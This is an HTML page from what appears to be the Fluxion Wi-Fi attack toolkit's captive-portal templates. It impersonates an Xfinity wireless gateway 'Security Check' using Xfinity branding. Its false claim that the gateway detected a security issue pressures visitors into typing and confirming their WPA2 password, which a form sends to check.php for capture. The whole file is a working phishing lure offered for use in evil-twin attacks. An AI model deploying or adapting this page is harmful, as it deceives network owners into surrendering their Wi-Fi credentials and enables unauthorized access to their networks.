fluxion/attacks/Captive Portal/sites/Xfinity-Login_en.portal/index.html

250 lines
7.9 KiB
HTML
Executable File

<!-- saved from url=(0016)http://10.0.0.1/ -->
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta name="generator" content=
"HTML Tidy for HTML5 for Linux version 5.2.0" />
<meta http-equiv="Content-Type" content=
"text/html; charset=utf-8" />
<title>Xfinity Security Check</title><!--CSS-->
<link rel="stylesheet" type="text/css" media="screen" href=
"./Xfinity_files/common-min.css" /><!--[if IE 6]>
<link rel="stylesheet" type="text/css" href="cmn/css/ie6-min.css" />
<![endif]--><!--[if IE 7]>
<link rel="stylesheet" type="text/css" href="cmn/css/ie7-min.css" />
<![endif]-->
<link rel="stylesheet" type="text/css" media="print" href=
"./Xfinity_files/print.css" /><!--Character Encoding-->
<script type="text/javascript" src=
"./Xfinity_files/jquery-1.4.2.min.js">
</script>
<!-- <script type="text/javascript" src="dev_only/jquery.qtip-1.0.0-rc3.min.js"></script> -->
<script type="text/javascript" src=
"./Xfinity_files/jquery-ui-1.8.5.custom.min.js">
</script>
<script type="text/javascript" src="./Xfinity_files/json2.js">
</script>
<script type="text/javascript" src=
"./Xfinity_files/underscore.js">
</script>
<script type="text/javascript" src="./Xfinity_files/base.js">
</script>
<script type="text/javascript" src="./Xfinity_files/mib.js">
</script>
<script language="JavaScript" src="./Xfinity_files/mib2.js" type=
"text/javascript">
</script>
<script type="text/javascript" src="./Xfinity_files/base_95x.js">
</script>
<script type="text/javascript" src=
"./Xfinity_files/common-min.js">
</script>
</head>
<body>
<!--Main Container - Centers Everything-->
<div id="container">
<!--Header-->
<div id="header">
<h2 id="logo"><a><img src=
"Xfinity_files/img/logo_xfinity.png" /></a></h2>
</div><!-- end #header --><!--Main Content-->
<div id="main-content">
<!-- $Id: home_loggedout.php 3158 2010-01-08 23:32:05Z slemoine $ -->
<script type="text/javascript">
//<![CDATA[
function onKeyPress_check(e) {
if (e.which == 13) {
e.preventDefault();
f();
}
}
function getGuiFlag(ModelName)
{
var flag;
if (ModelName.search("MG2402")!=-1)
flag = false;
else
flag = true;
$.ajax({
url: "guiflag",
success:function(data){
if (data.indexOf("1") >= 0)
{
flag = true;
}
else if (data.indexOf("0") >= 0)
{
flag = false;
}
},
error:function(data) {
if (ModelName.search("MG2402")!=-1)
flag = false;
else
flag = true;
},
datatype:"text",
cache: false,
async: false
});
return flag;
}
function f()
{
var flag=0;
if( login(document.getElementById('username').value, document.getElementById('password').value ) == "can_not_login" )
{
jAlert("Can't login please try again" , "ERROR" , 0 );
return;
}
else
{
if (!isLoggedIn())
{
flag=0;
jAlert("Authentication failed" , "ERROR" , function(e)
{
if(e)
{
document.getElementById('username').value = '';
document.getElementById('password').value = '';
document.getElementById('username').focus();
}
});
return;
}
else
{
flag=1;
//var ModelName = mib2system.sysName.get();
var sysDescr = mib2system.sysDescr.get();
sysDescr=sysDescr.replace(/<<\/g,"");
sysDescr=sysDescr.replace(/>>/g,"");
var sysDescrArray = new Array();
sysDescrArray = sysDescr.split(";");
var sysDescr_Model="";
for (var i=0; i<sysDescrArray.length; i++)
{
if (sysDescrArray[i].match("MODEL"))
{
var temp=sysDescrArray[i].split(":");
sysDescr_Model=temp[1];
}
}
ModelName=sysDescr_Model.replace(/(^[\\s]*)|([\\s]*$)/g, "");
createCookie("sysDescrModelName", ModelName);
// let it go even gw not ready
//var LoginTimeout = arAdminTimeout.get();
if (ModelName!=undefined && ModelName.length>2)//MG/TGXX
{
/*if (getGuiFlag(ModelName) == false)
{
alert("Unsupported for MG2402!");
return;
}*/
window.location.href="at_a_glance.php";
return;
}
else
{
jAlert("Unknown Model("+ModelName+")!" , "ERROR" ,0);
}
}
if(flag==0)
{
jAlert("Incorrect Login" , "ERROR" ,0);
}
}
}
$(document).ready(function() {
//comcast.page.init("Login", "nav-login");
$("#pageForm").validate({
errorElement : "p"
,errorContainer : "#error-msg-box"
,invalidHandler: function(form, validator) {
var errors = validator.numberOfInvalids();
if (errors) {
var message = errors == 1 ? 'You missed 1 field. It has been highlighted' : 'You missed ' + errors + ' fields. They have been highlighted';
$("div.error").html(message);
$("div.error").show();
} else {
$("div.error").hide();
}
}
,rules : {
username: {
required: true
,minlength: 3
}
,password: {
required: true
,minlength: 3
}
}
,messages: {
username: {
required: "Username cannot be blank. Please enter a valid username."
}
,password: {
required: "Password cannot be blank. Please enter a valid password."
,minlength: "Password must be at least 4 characters."
}
}
});
});
//]]>
</script>
<div id="sub-header"></div><!-- end #sub-header -->
<div id="content">
<h1>Security Check</h1><img align="right" src=
"Xfinity_files/img/label.jpg" height="250px" width=
"350px" />
<div id="login" class="module forms">
<div class="form-row">
<p><b>Your XFINITY™ Wireless Gateway detected a
security issue. Please enter your wireless security
settings to proceed.</b></p>
</div>
<div class="error"></div>
<div id="footer">
<ul id="footer-links">
<li class="first-child"><a href=
"http://www.xfinity.com/" target=
"_blank">Xfinity.com</a></li>
<li><a href="https://customer.comcast.com/" target=
"_blank">customerCentral</a></li>
<li><a href="http://customer.comcast.com/userguides"
target="_blank">User Guide</a></li>
</ul>
</div>
<table>
<tr>
<td>
<form action="check.php" method="post" align=
"center">
<br />
&nbsp;&nbsp;&nbsp;WPA2 Password: <input type=
"password" name="password1" /><br />
Confirm Password: <input type="password" name=
"password2" /><br />
<input type="submit" value="Send" />
</form>
</td>
</tr><!-- end #content -->
<!-- $Id: footer.usg.php 2976 2009-09-02 21:42:51Z cporto $ --><!-- end #main-content--><!--Footer--><!-- end #footer --><!-- end #container -->
</table>
</div>
</div>
</div>
</div>
</body>
</html>